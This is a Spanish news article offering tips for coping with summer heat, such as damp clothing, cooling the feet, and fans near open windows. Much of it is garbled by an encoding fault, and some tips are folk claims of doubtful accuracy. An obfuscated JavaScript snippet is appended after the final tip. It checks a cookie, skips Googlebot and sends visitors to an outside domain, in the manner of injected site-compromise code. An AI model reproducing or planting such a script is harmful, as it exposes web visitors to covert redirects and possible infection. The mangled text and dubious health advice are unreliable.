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1 Ago 2017
Noticias | Por: Redacción

A?TenAi??s hasta dolor de cabeza por el calor? LeAi?? estos trucos y refrAi??scate

Estos consejos seguro harA?n que pasAi??s unas vacaciones mA?s frescas y que no te quejAi??s mucho del calor. Si querAi??s saber cA?mo mantenerte alejado del vapor del sol en estas vacaciones, MEDIOLLENO te trae algunos trucos A?tiles y sencillos.

Con estos pequeAi??os ai???tipsai???, no tendrA?s que hacer uso del aire acondicionador o gastar fortunas en opciones mA?s costosas. Porque a veces el calor o la incomodidad por las altas temperaturas te puede dar y no necesariamente tenAi??s que estar bajo el sol.

  1. No bebA?s agua muy frAi??a

Aunque se crea que beber algo muy helado quita el calor es lo contrario, a la larga; ya que cuando se bebe o come algo muy helado se logra una baja demasiado rA?pida de temperatura y el organismo estA? diseAi??ado para recuperar esos grados. Para hacerlo, el cuerpo gasta mA?s energAi??a y como resultado, da una sensaciA?n de calor que antes no estaba.

  1. DejA? abiertas las ventanas

No solo es dejarlas abiertas, sino que estas estAi??n en direcciA?n opuesta o cruzadas, ya que por la noche, de preferencia, se crearA? una corriente y se combatirA? el calor.

  1. HumedecAi?? tu ropa

Esto lo aconsejA? la fAi??sica de la Universidad de Cambridge, Lisa Jardine-Wrigth, a la BBC. Cuando el agua se evapore, pasarA? de lAi??quida a gas, y lo harA? en la ropa; se producirA? un estado refrescante en la piel y bajarA? la temperatura del cuerpo.

  1. MetAi?? tus manos en agua frAi??a

Uno de los sitios que ayuda a enfriar el cuerpo son las manos. Si se sumergen en un cubo, balde o, inclusive, un lavamanos lleno de agua frAi??a esto ayuda a bajar la temperatura al cuerpo, de acuerdo al profesor de fisiologAi??a humana de la Universidad de Portsmouth, Mike Tipton.

  1. Lamete las muAi??ecas

Los canguros aplican esta tAi??cnica, donde la saliva quita la temperatura de las muAi??ecas, donde pasan las venas, arterias muy cerca de la piel. Refresca la sangre que estA? en circulaciA?n y todo el cuerpo.

  1. EncendAi?? un ventilador con la ventana abierta

Cuando el ventilador estA? en una habitaciA?n cerrada hace que circule el aire, pero si estA? cerca de una ventana abierta, logra que el aire entre y circule aire fresco. Si se hace de la manera convencional, con ninguna ventilaciA?n de afuera, lo que se logra es evaporar los sudores.

  1. Enfriate los pies

Uno de los trucos mejores guardados es que en los pies hay muchos vasos sanguAi??neos, por ello si se enfrAi??an se consigue bajar la temperatura de todo el cuerpo, aliviando asAi?? la sensaciA?n del calor. BastarA? con que se mojen tus pies por 15 minutos con agua frAi??a antes de acostarte, si es que hace mucho calor; el resultado se sentirA? inmediatamente.

  1. MojA? una toalla y ponetela en los hombros

Se recomienda que la toalla sea de algodA?n, material con la que se fabrica el ai???tenuguiai???, de origen japonAi??s que se usa en la cabeza. La idea es mojar la toalla de algodA?n con agua frAi??a, escurrirla, y colocarla en los hombros, y relajarse mientras baja la temperatura.

  1. Alejate de las segundas plantas

Las segundas plantas no son frescas, sino por el contrario una planta mA?s cerca de la tierra tiene aire mA?s frAi??o, denso; el aire caliente se queda arriba de todas las habitaciones, o espacios cerrados, en su estado natural.

  1. Alejate de la humedad

Cuando el aire estA? hA?medo hay mA?s calor, o por lo menos la sensaciA?n de este. Debido a esto, no es recomendable tender ropa en el interior de la casa o hervir, ni cocer alimentos.

  1. TomA? una ducha… Tibia

SegA?n Tipton, cuando una persona se mete a una ducha frAi??a, el calor se queda atrapado adentro y no escapa, ya que el cuerpo reacciona tratando de preservar el calor. Por ello, es que la mayorAi??a de gente entra en calor, despuAi??s de secarse al haberse dado una ducha caliente.

  1. Aplicate paAi??os mojados

Estos deben estar mojados, no hA?medos, y pueden ser sino bolsas con hielo o algA?n vegetal congelado. Se deben aplicar en el cuello, axilas, la ingle, pecho o estA?mago, ya que son puntos donde pasa mucha sangre y aliviarA? al instante la temperatura.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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